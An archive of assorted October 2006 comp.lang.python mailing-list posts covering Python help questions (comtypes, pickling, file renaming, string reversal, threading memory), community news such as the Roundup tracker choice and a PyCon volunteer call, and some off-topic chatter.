	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
Message-ID: <12iosfh75stcf0e@corp.supernews.com>

On 2006-10-10, Steve Holden <steve at holdenweb.com> wrote:

>> probably point out that I am writing from Denmark and was thinking
>> specifically of a situation where a dane told me they were being
>> 'ironic' (when what they meant, obviously, was that they were being
>> ironical), when I asked what they meant by that they said "saying the
>> opposite of what I mean" I responded: "so, in other words, what you
>> mean by irony is 'sarcasm'" She responded "yes, that's what it means"

And she was pretty much right.  Sarcasm is by far the most
common form of irony.

> Well, my assertion about America clearly doesn't preclude to
> possibility of confusion on the part of the Danish too :-).
> You are right about the general degradation of the
> (understanding of the) meaning of irony.  People are just too
> damned sloppy with language nowadays.

Sarcasm is a form of irony.  Irony is when what is meant is
different from the obvious literal meaning of the statement.

>> She had a degree in communications.

Which may explain why she knew what irony was when so few
people seem to.

Like Alanis Morisette said about the song "Isn't it Ironic":
What's ironic about the song is that it doesn't actually
contain any irony.

-- 
Grant Edwards                   grante             Yow!  While I'm in
                                  at               LEVITTOWN I thought I'd
                               visi.com            like to see the NUCLEAR
                                                   FAMILY!!


From pearl.eyes2 at gmail.com  Fri Oct  6 11:41:22 2006
From: pearl.eyes2 at gmail.com (NOSHII)
Date: 6 Oct 2006 08:41:22 -0700
Subject: hiiii
Message-ID: <1160149282.126140.326380@i3g2000cwc.googlegroups.com>

Salmaan (R.A.) reports, "On the last day of Sha'baan Rasulullah(SAW)
addressed us & said, '0! people there comes over u now a great month, a
most blessed month in which lies a night more greater in virtue than a
1000 months. It is a month in which Allah has made Fasting compulsory
by day. And has made sunnah the Taraaweeh by night. Whosoever intends
drawing near to Allah by performing any virtuous deed, 4 such person
shall b the reward like the one who had performed a Fardh in any other
time. And whoever performs a Fardh, shall b blessed with the reward of
seventy Faraa-idh in any other time".
*************************************************
"This is a month, the first of which brings Allah's mercy, the middle
of which brings His forgiveness and the last of which brings
emancipation from the fire of Jahan-nam."
*************************************************



From skip at pobox.com  Tue Oct 10 12:42:26 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 10 Oct 2006 11:42:26 -0500
Subject: can regular ol' python do a php include?
In-Reply-To: <M%OWg.93$1n3.2388@news.tufts.edu>
References: <kZNWg.91$1n3.2228@news.tufts.edu>
	<mailman.214.1160490531.11739.python-list@python.org>
	<YzOWg.92$1n3.2328@news.tufts.edu>
	<M%OWg.93$1n3.2388@news.tufts.edu>
Message-ID: <17707.52594.152980.337145@montanaro.dyndns.org>


    John> What I'm looking for is to be able to use pure HTML, but just
    John> stick in a line of Python when I need to include something.

Take a look at any of a number of different templating systems.  Start here:

    http://wiki.python.org/moin/WebProgramming

Skip


From bignose+hates-spam at benfinney.id.au  Sun Oct 22 19:46:31 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Mon, 23 Oct 2006 09:46:31 +1000
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development [repost]
References: <1161530388.074372.242310@b28g2000cwb.googlegroups.com>
Message-ID: <87pscjud60.fsf@benfinney.id.au>

"bcannon at gmail.com" <bcannon at gmail.com> writes:

> [my initial post through python-list never seemed to reach c.l.py;
> reposting]

It did reach us, but in an ugly mass of text with no paragraph
breaks. This one is more readable, thanks.

> Well, the community stepped up to the challenge and we got plenty of
> volunteers!  In fact, the call for volunteers has led to an offer for
> professional hosting for Roundup from Upfront Systems.  The committee
> is currently evaluating that offer and will hopefully have a decision
> made soon.

Great news! I really hope the developers of free-software Python can
use free-software tools for managing the process.

-- 
 \      "He that would make his own liberty secure must guard even his |
  `\                          enemy from oppression."  -- Thomas Paine |
_o__)                                                                  |
Ben Finney



From steve at holdenweb.com  Sun Oct  8 06:38:06 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 08 Oct 2006 11:38:06 +0100
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <eg9rlh$6t9$3@lust.ihug.co.nz>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
	<eg9rlh$6t9$3@lust.ihug.co.nz>
Message-ID: <egakco$76a$1@sea.gmane.org>

Lawrence D'Oliveiro wrote:
> In message <sXzVg.9551$vJ2.7097 at newssvr12.news.prodigy.com>, James Stroud
> wrote:
> 
> 
>>Patently. Tabs should be reserved for tables, for which tabs were named.
>>If they were meant to be used for indenting, they would have been
>>named "indenters". 
> 
Or possibly "inds", in a similarly abbreviative spirit.
> 
> Really? I thought they were for tabulators
> <http://www.columbia.edu/acis/history/tabulator.html>.

Well, let's ignore the fact that this was probably a tongue-in-cheek reply.

Firstly, the article you quote shows clearly that Hollerith invented the 
tabulator in the late 19th century. C L Scholes was granted the first 
typewriter paten in 1868, and Remington started manufacture in 1873. So 
tabs were already used (to produce tables) by the time the tabulator 
arrived on the scene.

Secondly the tabulator was originally simply a device for counting the 
occurrences of the various values possible for a field (you may know it 
was invented to assist in the processing of the US census), and when 
printing was later added the output to the printer wasn't sequential 
anyway, so no "tab character" was required: the positions of report 
fields would be hard-programmed into the patch panel.

ObPython: PEP 8 (http://www.python.org/dev/peps/pep-0008/) was 
originally an essay by Guido in which he listed his own personal 
stylistic preferences. Naturally his opinions were taken seriously 
because he has proved to be a capable language designer, and when the 
PEP scheme was introduced his essay (originally published under the 
title "A Foolish Consistency is the Hobgoblin of Little Minds") was 
adopted more or less unchanged. It has since been revised, but still 
refers to the original. Ultimately a conformance with PEP 8 can be taken 
as an indication that the author has reached a certain stylistic maturity.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From theller at python.net  Thu Oct  5 11:26:45 2006
From: theller at python.net (Thomas Heller)
Date: Thu, 05 Oct 2006 17:26:45 +0200
Subject: Getting a ValueError with comtypes
In-Reply-To: <1160058359.839402.3600@k70g2000cwa.googlegroups.com>
References: <1160058359.839402.3600@k70g2000cwa.googlegroups.com>
Message-ID: <eg387l$va3$1@sea.gmane.org>

winkatl1213 at yahoo.com schrieb:
> Hello,
> 
> I am working with comtypes to interface Microsoft's DirectShow library.

Cool, another one using comtypes!
 
> First, I found a Type Library on the internet that was created for
> accessing DirectShow from .NET.  It seems that DirectShow only comes
> with IDL files and no type library.

What I sometimes do is to compile the IDL files into a typelib just
for creating the comtypes interface wrappers.  This may be somewhat
dangerous because these typelibs should *not* be registered by accident,
so that they do not conflict with other typelibs.

Then, I found out with oleview that on my system the IMediaControl interface
is described in the 'ActiveMovie control type library (Ver 1.0)',
in c:\windows\system32\quartz.dll.  So I was able to create the wrapper
by calling comtypes.client.GetModule("quartz.dll") - it seems that windows
searches the $PATH to find type libraries.

> This got me started.
> 
> The following line imports the typelibrary and automatically generates
> a wrapper module for DirectShow.
> 
> ds = comtypes.client.GetModule('DirectShow.tlb')
> 
> Next, I can basically start with something like this:
> 
> graph = comtypes.CoCreateInstance(CLSID_FilterGraph, ds.IGraphBuilder,
> comtypes.CLSCTX_INPROC_SERVER)
> 
> I had to create the CLSID_FilterGraph parameter myself by doing the
> following:
> 
> CLSID_FilterGraph =
> comtypes.GUID('{e436ebb3-524f-11ce-9f53-0020af0ba770}')
> 
> One of the first issues I ran into was that the type library I found on
> the web didn't expose the IMediaControl interface.  So, using the
> generated wrapper as a template, I created my own wrapper:
> 
> class IMediaControl(comtypes.IUnknown):
>     _case_insensitive_ = True
>     _iid_ = comtypes.GUID('{56A868B1-0AD4-11CE-B03A-0020AF0BA770}')
>     _idlflags_ = []
> IMediaControl._methods_ = [
>     COMMETHOD([], HRESULT, 'Run'),
>     COMMETHOD([], HRESULT, 'Pause'),
>     COMMETHOD([], HRESULT, 'Stop'),
>     COMMETHOD([], HRESULT, 'StopWhenReady'),
>     COMMETHOD([], HRESULT, 'GetState',
>               (['in'], c_long, 'msTimeout'),
>               (['out'], POINTER(c_int), 'pfs' ))
> ]
> 
> This got me further.  Once I defined the interface, I get access to the
> interface by calling:
> 
> control = graph.QueryInterface(IMediaControl)
> 
> This seemed to work.  Once I got everything setup, I tried to use this
> interface.  For example:
> 
> control.Run()
> 
> This generates an exception:
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "ds.py", line 462, in play
>     control.Run()
> ValueError: Procedure probably called with not enough arguments (4
> bytes missing)
> 
> You can get errors like this when using ctypes if you use the wrong
> calling convention (CDLL versus WINDLL).
> 
> The method "Run" on the IMediaControl interface doesn't take any
> arguments.
> 
> I did notice that some wrapper code uses STDMETHOD versus COMMETHOD,
> but changing this didn't make any difference.
> 
> Can anyone explain what might be happening here, or offer some
> suggestions?

Your mistake here is that IMediaControl derives from IDispatch, not IUnknown.
So, control.Run() really calls the first IDispatch method, which is
GetTypeInfoCount(), which takes one argument ;-).

I'm not 100% sure the following code will work for you because I'm using
a comtypes version that's not yet committed to the repository, but it works
for me:

from comtypes.client import GetModule, CreateObject

# create and import the interface wrapper
ds = GetModule("quartz.dll")

# FilgraphManager is what the wrapper shows as coclass,
# you can pass that to CreateObject instead of a CLSID or ProgID.
# CreateObject calls QueryInterface for the 'most useful' interface,
# so usually there's no need to specify the interface you want:
fg = CreateObject(ds.FilgraphManager)

# this prints '0'
print fg.Run()

Thomas



From fredrik at pythonware.com  Tue Oct 24 11:48:59 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 17:48:59 +0200
Subject: The format of filename
In-Reply-To: <453E3144.50307@tim.thechases.com>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>	<ehl9i4$juu$1@sea.gmane.org>
	<453E3144.50307@tim.thechases.com>
Message-ID: <ehlclb$3a4$1@sea.gmane.org>

Tim Chase wrote:

> Windows seems to be (occasionally) doing the translation as /F 
> mentions:

as leif pointed out, there's no translation.

> C:\temp> REM try the same filename convention from dos prompt
> C:\temp> type subdir/test.txt
> The syntax of the command is incorrect.
> C:\temp> REM try with quotes, just in case...
> C:\temp> type "subdir/test.txt"
> The syntax of the command is incorrect.

"type" is built into the command shell.  it's the command shell that 
refuses to deal with forward slashes, not the underlying API:s.

> Windows seems to doing the translation inconsistently (I know 
> that comes as a shock...)

it's a documented inconsistency, which is preserved mostly for 
historical reasons (the shell syntax hasn't changed much since
the CP/M days)

</F>



From hanumizzle at gmail.com  Sun Oct 29 01:47:40 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 29 Oct 2006 02:47:40 -0400
Subject: what are the most frequently used functions?
In-Reply-To: <1162101329.856825.186110@e64g2000cwd.googlegroups.com>
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
	<barmar-9B3FB2.10403928102006@comcast.dca.giganews.com>
	<1162101329.856825.186110@e64g2000cwd.googlegroups.com>
Message-ID: <463ff4860610282347i345afdd1ra1778c7a19ee7819@mail.gmail.com>

On 28 Oct 2006 22:55:29 -0700, Xah Lee <xah at xahlee.org> wrote:
> Barry Margolin wrote:
> ? For Lisp, just look for symbols that are immediately preceded by (
> ...?
>
> Thanks a lot! great thought.

An even cleaner way to do this would be to iterate over the list
s-exprs in any given lisp source, use read on them, then just use car
on the resulting list (or first for the infinitely superior common
lisp language).

This will get special forms and actual functions indiscriminately, but
they may be seen as equivalent from a sloppy perspective.

-- Theerasak


From tjreedy at udel.edu  Fri Oct  6 17:54:54 2006
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Oct 2006 17:54:54 -0400
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com><eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it><45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com><45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
Message-ID: <eg6jbc$qe7$1@sea.gmane.org>


"Giovanni Bajo" <noway at sorry.com> wrote in message 
news:YzoVg.137036$zy5.1843214 at twister1.libero.it...
> skip at pobox.com wrote:
> Are bug-tracker configuration issues so critical that having to wait 
> 48-72hrs
> to have them fixed is absolutely unacceptable for Python development? It 
> looks
> like an overexaggeration. People easily cope with 2-3 days of SVN 
> freezing,
> when they are politically (rather than technically) stopped from 
> committing to
> SVN. I guess they can wait 48 hrs to be able to close that bug, or open 
> that
> other one, or run that query.

I think tracker downtime is quite possibly worse than repository downtime. 
The small group of developers with SVN commit privileges are committed 
enough to come back and commit their code a couple of days later.  A member 
of the community wanting to make a bug report is less likely too.  As it 
is, when SF is up, people think having to register or even log in is too 
much of a burden.  When SF is down, people sometimes send tracker items to 
the pydev list instead, when means someone else (who?) has to put in the 
tracker or it gets lost.






From grahn+nntp at snipabacken.dyndns.org  Tue Oct 17 04:56:59 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 17 Oct 2006 08:56:59 GMT
Subject: A Universe Set
References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com>
	<mailman.1224.1159935216.10491.python-list@python.org>
	<slrnei7icb.gim.grahn+nntp@frailea.sa.invalid>
	<0dMYg.105676$5o5.58612@tornado.texas.rr.com>
	<mailman.568.1161008479.11739.python-list@python.org>
Message-ID: <slrnej96mp.gim.grahn+nntp@frailea.sa.invalid>

On Mon, 16 Oct 2006 09:21:11 -0500, skip at pobox.com <skip at pobox.com> wrote:
>

      [me]
>     >> - the wildcard object, which compares equal to everything else
>
      [Paul]
>     Paul> class MatchAny(object):
>     Paul>     def __cmp__(self,other):
>     Paul>         return 0
>
>     Paul> wild = MatchAny()

FWIW, I define __eq__ in the one I (infrequently) use.

>     ...
>
> You're at the mercy of the comparison machinery implemented by individual
> classes.  Executing this script (using any of Python 2.3 through what's
> currently in the SVN repository):
...

Oh. /Is/ there a way of making it work, then?  If we ignore the problems
with having such objects in the first place, that is. 

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From hellomarch at gmail.com  Thu Oct 26 12:37:09 2006
From: hellomarch at gmail.com (march)
Date: 26 Oct 2006 09:37:09 -0700
Subject: Too little comments,
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
Message-ID: <1161880629.255422.57910@h48g2000cwc.googlegroups.com>

There're too little comments, and too much Chinese characters, and
maybe you should give us an introduction about what renju is.



From Maria.Reinhammar at accalon.com  Wed Oct 11 03:48:42 2006
From: Maria.Reinhammar at accalon.com (MaR)
Date: 11 Oct 2006 00:48:42 -0700
Subject: default variable in python $_
In-Reply-To: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
References: <1160518987.056948.205930@i42g2000cwa.googlegroups.com>
Message-ID: <1160552922.041176.283170@e3g2000cwe.googlegroups.com>


rh0dium wrote:
> Hi all,
>
> So I have this simple little routine..  say like this..
>
>
> def foo()
>    return {"a":"b", "b":"c"}
>
> if foo():
>    print "Have foo"
>
>
> Now I want the dictionary item a (ie. b)
>
> How can I do it the above way or do I still have to go like this..
>
> def foo()
>    return {"a":"b", "b":"c"}
>
> z = foo()
> if z:
>    print "Have foo"
>    print z['a']
>
> This is where $_ in perl is awesome - There must be a default variable
> in python right?

As said in earlier response, such a default variable is *dangerous* at
best!
Not knowing much about Perl and guessing that the $_ is a global
storage space, my immediate thought is; What happens if you have
multiple threads?

The example is too simplified to give any clues as to what you are
needing the feature for.
Guessing that you want to generate some dict() and use the result once
and then discard, write:

foo_default = 1
def foo(): return(generate_some_dict())

you can further write

foo().get('a', foo_default)

giving compact code and ensuring that you get a well defined result
regardless what dictionary keys there are.



From hanumizzle at gmail.com  Fri Oct  6 02:06:21 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 02:06:21 -0400
Subject: help on pickle tool
In-Reply-To: <1160114085.944898.224340@k70g2000cwa.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
	<1160114085.944898.224340@k70g2000cwa.googlegroups.com>
Message-ID: <463ff4860610052306x7e5c807fld458f128d6f8d08e@mail.gmail.com>

On 5 Oct 2006 22:54:46 -0700, MonkeeSage <MonkeeSage at gmail.com> wrote:
> hanumizzle wrote:
> > Why a subset?
>
> I don't think JSON is a subset of YAML.

Apparent slip of the fingers by OP. From JSON website:

JSON (JavaScript Object Notation) is a lightweight data-interchange
format. It is easy for humans to read and write. It is easy for
machines to parse and generate. It is based on a subset of the
JavaScript Programming Language, Standard ECMA-262 3rd Edition -
December 1999. JSON is a text format that is completely language
independent but uses conventions that are familiar to programmers of
the C-family of languages, including C, C++, C#, Java, JavaScript,
Perl, Python, and many others. These properties make JSON an ideal
data-interchange language.

I'm happy with my Pythonesque YAML syntax, thank you. :)


From metaperl at gmail.com  Mon Oct 16 09:59:35 2006
From: metaperl at gmail.com (metaperl)
Date: 16 Oct 2006 06:59:35 -0700
Subject: Web Hosting
In-Reply-To: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
References: <1160893959.465993.138820@i42g2000cwa.googlegroups.com>
Message-ID: <1161007175.224477.109950@m7g2000cwm.googlegroups.com>


Sir Psycho wrote:
> Hi,
>
> With web hosting, does the ISP you chose have to support the framework
> you work with as well?
>
> Im looking at making a site in Python, however, Im lost as to what ISPs
> actually support.

We support any and every thing Python and we are a not-for-profit
cooperative. Check us out:

http://www.HCOOP.net
irc://irc.freenode.org/#hcoop



From ilias at lazaridis.com  Thu Oct 12 01:08:43 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 11 Oct 2006 22:08:43 -0700
Subject: Python component model
In-Reply-To: <mailman.352.1160629072.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
	<ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>
	<mailman.347.1160621959.11739.python-list@python.org>
	<1160622943.197384.91340@m7g2000cwm.googlegroups.com>
	<mailman.351.1160626726.11739.python-list@python.org>
	<1160627775.972642.14190@e3g2000cwe.googlegroups.com>
	<mailman.352.1160629072.11739.python-list@python.org>
Message-ID: <1160629723.119510.229190@k70g2000cwa.googlegroups.com>


Robert Kern wrote:
> Ilias Lazaridis wrote:
> > Robert Kern wrote:
> >> Ilias Lazaridis wrote:
> >>> Robert Kern wrote:
> >>>> No, he's just a troll that enjoys telling everyone what to do. Don't try to get
> >>>> him to contribute anything useful; it won't work.
> >>> Mr. Kern! Seeing you working on such a seemingly excellent product, I
> >>> am really wondering about your tenor.
> >> I am confident that it is accurately aimed. Furthermore, I am confident that the
> >> record and the rest of this community will back me up on it. I've told you
> >> before that this community will not tolerate your bad behavior. How many times
> >> does this have to be demonstrated before you will leave?
> >
> > Please stay in-topic
>
> Asking disruptive individuals to leave is always on-topic.

please realize: the only disruptive individual at this point is you.

> Now, please go away.

of course I stay.

> I will happily and pleasantly converse with anyone who has questions about
> Traits or any of Enthought's other tools if they ask in good faith. I believe
> that the record shows that you do not do so. Really, I'm quite nice and helpful
> to other people.

Sorry to say, but your behaviour is very ungentle.

I've place a simple question. If you are really helpful to other
people, then pleas just answer.

Many other people follow this discussion, and many will see the
question within the archives... unsanswered.

"
looks interesting.

what about persistency?

http://groups.google.com/group/comp.lang.python/msg/8e89ed163b978fe2
"

As far as I can see, there's no persistency binding available.

Is one planned?

.



From fabio at NOSPAMchelly.net  Wed Oct 18 08:06:32 2006
From: fabio at NOSPAMchelly.net (Fabio Chelly)
Date: Wed, 18 Oct 2006 14:06:32 +0200
Subject: making a valid file name...
References: <mailman.679.1161162785.11739.python-list@python.org>
Message-ID: <mn.934e7d6a31ff7f71.21770@NOSPAMchelly.net>

You should use the s.translate()
It's 100x faster:

#Creates the translation table
ValidChars = ":./,^0123456789abcdefghijklmnopqrstuvwxyz"
InvalidChars = "".join([chr(i) for i in range(256) if not 
chr(i).lower() in ValidChars])
TranslationTable = "".join([chr(i) for i in range(256)])

def valid_filename(fname):
  return fname.translate(TranslationTable, InvalidChars)

>> valid =
>> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ '
>> 
>> if I have a string called fname I want to go through each character in
>> the filename and if it is not a valid character, then I want 
>> to replace
>> it with a space.

-- 
Ceci est une signature automatique de MesNews.
Site : http://www.mesnews.net




From bj_666 at gmx.net  Sun Oct 22 10:53:47 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sun, 22 Oct 2006 16:53:47 +0200
Subject: implementation of "in" that returns the object.
References: <mailman.939.1161527588.11739.python-list@python.org>
Message-ID: <pan.2006.10.22.14.53.47.822302@gmx.net>

In <mailman.939.1161527588.11739.python-list at python.org>, Jorge Vargas
wrote:

> I need to check if an object is in a list AND keep a reference to the
> object I have done it this way but is there a better one?

But you already *have* a reference to that object!?

>>>> def inplusplus(value,listObj):
> ...     for i in listObj:
> ...             if i is value:
> ...                     return value
> ...     return False
> ...

def my_in(value, sequence):
    if value in sequence:
        return value
    else:
        return False

Ciao,
	Marc 'BlackJack' Rintsch


From pandyacus.xspam at xspam.sbcglobal.net  Sat Oct 28 13:54:09 2006
From: pandyacus.xspam at xspam.sbcglobal.net (Chetan)
Date: Sat, 28 Oct 2006 17:54:09 GMT
Subject: Safely renaming a file without overwriting
References: <pan.2006.10.28.10.13.32.415330@REMOVE.THIS.cybersource.com.au>
Message-ID: <87odrw1g2x.fsf@nandi.2wire.net>

Steven D'Aprano <steve at REMOVE.THIS.cybersource.com.au> writes:

> I want to rename a file, but only if the destination file name doesn't
> already exist.
> 
> I can do this:
> 
> if os.path.exists(dest):
>     # skip file, raise an exception, make a backup...
>     do_something_else() 
> else:
>     os.rename(src, dest)
> 
> 
> But on a multi-user system, it is possible that dest is created in the
> time period between checking if it exists and attempting the rename.
> 
> Is there any way to prevent this? Or do I just try to keep the check and
> the rename as close together as possible, minimizing the chances and
> hoping for the best?
> 
> 
> -- 
> Steven.

The answer, unfortunately, depends on the platform. I haven't tried, but it
looks like rename() will fail on Win32 if the file already exists. On Unix, you
can use link to rename the file - which will not overwrite the file if it
exists. Then use unlink to remove the src file.

Chetan


From http  Tue Oct 24 03:47:55 2006
From: http (Paul Rubin)
Date: 24 Oct 2006 00:47:55 -0700
Subject: Protecting against SQL injection
References: <Xns986662F736DD5toreriknpolarno@129.242.5.222>
Message-ID: <7x1woy889g.fsf@ruckus.brouhaha.com>

Tor Erik Soenvisen <toreriks at hotmail.com> writes:
>         # Protect against SQL injection by escaping quotes

Don't ever do that, safe or not.  Use query parameters instead.
That's what they're for.


From jeremy+complangpython at jeremysanders.net  Tue Oct  3 12:44:53 2006
From: jeremy+complangpython at jeremysanders.net (Jeremy Sanders)
Date: Tue, 03 Oct 2006 17:44:53 +0100
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
	<jwjw-E75E09.09362703102006@news.isp.giganews.com>
	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>
	<7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com>
	<efttv2$9p6$1@gemini.csx.cam.ac.uk>
Message-ID: <efu425$353$1@gemini.csx.cam.ac.uk>

Jeremy Sanders wrote:

> Chaz Ginger wrote:
> 
>> What would sets do for me over lists?
> 
> It's faster to tell whether something is in a set or dict than in a list
> (for some minimum size).

As a footnote, this program

import random
num = 100000

a = set( range(num) )
for i in range(100000):
    x = random.randint(0, num-1) in a
    
completes in less than a second, whereas

import random
num = 100000

a = range(num)
for i in range(100000):
    x = random.randint(0, num-1) in a
    
takes a long time on my computer.

Jeremy

-- 
Jeremy Sanders
http://www.jeremysanders.net/


From fakeaddress at nowhere.org  Tue Oct 24 01:32:08 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Tue, 24 Oct 2006 05:32:08 GMT
Subject: multythreading app memory consumption
In-Reply-To: <mailman.952.1161559842.11739.python-list@python.org>
References: <mailman.952.1161559842.11739.python-list@python.org>
Message-ID: <szh%g.2592$T_1.1132@newssvr14.news.prodigy.com>

Roman Petrichev wrote:
> Hi folks.
> I've just faced with very nasty memory consumption problem.
> I have a multythreaded app with 150 threads
[...]
> 
> The test app code:
> 
> 
> Q = Queue.Queue()
> for i in rez: #rez length - 5000
>     Q.put(i)
> 
> 
> def checker():
>     while True:
>         try:
>             url = Q.get()
>         except Queue.Empty:
>             break
>         try:
>             opener = urllib2.urlopen(url)
>             data = opener.read()
>             opener.close()
>         except:
>             sys.stderr.write('ERROR: %s\n' % traceback.format_exc())
>             try:
>                 opener.close()
>             except:
>                 pass
>             continue
>         print len(data)
> 
> 
> for i in xrange(150):
>     new_thread = threading.Thread(target=checker)
>     new_thread.start()

Don't know if this is the heart of your problem, but there's no
limit to how big "data" could be, after

     data = opener.read()

Furthermore, you keep it until "data" gets over-written the next
time through the loop. You might try restructuring checker() to
make data local to one iteration, as in:

     def checker():
         while True:
             onecheck()

     def onecheck():
         try:
             url = Q.get()
         except Queue.Empty:
             break
         try:
             opener = urllib2.urlopen(url)
             data = opener.read()
             opener.close()
             print len(data)
         except:
             sys.stderr.write('ERROR: %s\n' % traceback.format_exc())
             try:
                 opener.close()
             except:
                 pass


-- 
--Bryan


From deets at nospam.web.de  Fri Oct  6 05:50:42 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Fri, 06 Oct 2006 11:50:42 +0200
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <1160100015.211649.310540@m73g2000cwd.googlegroups.com>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
Message-ID: <4omn7jFfe26cU1@uni-berlin.de>

>> No, you should have found a forum where you know that the topic is
>> appropriate -- even if that restricts it to your own website.
> 
> ??? my website is not a forum (and I'm currently reducing it to the
> minimum necessary information.)

You obviously lack the skill to comprehend that a forum isn't meant to 
be a web-forum, but more generally a place where you can express your 
opinions. Which is your website by all means. So, go, restrict yourself 
and voice your private opinions there. Not here.

> and once more: this topic _is_ appropriate for a python / ruby / java
> crosspost.

Why should a private quabble over some neglectable open source 
contributions be of any interest to a community, let alone even three of 
them?

> really very important (if you don't look to much at the subject but the
> message contents).

All that I have seen were some accusations + a few ridiculously small 
subversion entries that showed default parameters changed and the like.

This is on the same level of interest to the communities of python, ruby 
& java as the color of my socks this morning - a deep black with cute 
little skulls imprinted.

Diez


From jeff at taupro.com  Wed Oct 11 09:57:01 2006
From: jeff at taupro.com (Jeff Rush)
Date: Wed, 11 Oct 2006 08:57:01 -0500
Subject: Seeking Publicity Coordinator for PyCon 2007
Message-ID: <452CF82D.3010006@taupro.com>

The PyCon organizers are looking for someone to volunteer as publicity
coordinator for PyCon 2007.  This year we have started planning sufficiently
in advance that we'd like to get some press coverage in print magazines.

What is involved, you ask?

1. Brainstorm/collect a list of candidate publications for press releases.
2. Post the lead time and submission requirements for each to the wiki.
3. Develop or work with others to develop a (textual) press release layout.
4. At the appropriate time (e.g. when certain details are settled such
   as keynote speakers), actually submit the press release.

There is a wiki page at the following on which to collect ideas on where to
submit a press release:

  http://us.pycon.org/TX2007/PublicityIdeas

That's it!  It really shouldn't take a lot of time; a bit of surfing, perhaps
a few email queries.

-Jeff


From ak at silmarill.org  Thu Oct 19 23:41:40 2006
From: ak at silmarill.org (Rainy)
Date: 19 Oct 2006 20:41:40 -0700
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
Message-ID: <1161315699.945638.153750@k70g2000cwa.googlegroups.com>


Brad wrote:
> John Salerno wrote:
> > rick wrote:
> >> Why can't Python have a reverse() function/method like Ruby?
> >
> > I'm not steeped enough in daily programming to argue that it isn't
> > necessary, but my question is why do you need to reverse strings? Is it
> > something that happens often enough to warrant a method for it?
>
> I'm home for lunch so my email addy is different.
>
> No, it doesn't happen very often, but when I need to reverse something
> (usually a list or a string). I can never remember right of the top of
> my head how to do so in Python. I always have to Google for an answer or
> refer back to old code.
>
> IMO, I should be able to intuitively know how to do this. Python is so
> user-friendly most every place else... why can it not be so here?
>
> I wrote this so I'll never have to remember this again:
>
> def invert(invertable_object):
>      try:
>          print invertable_object[::-1]
>          return invertable_object[::-1]
>      except:
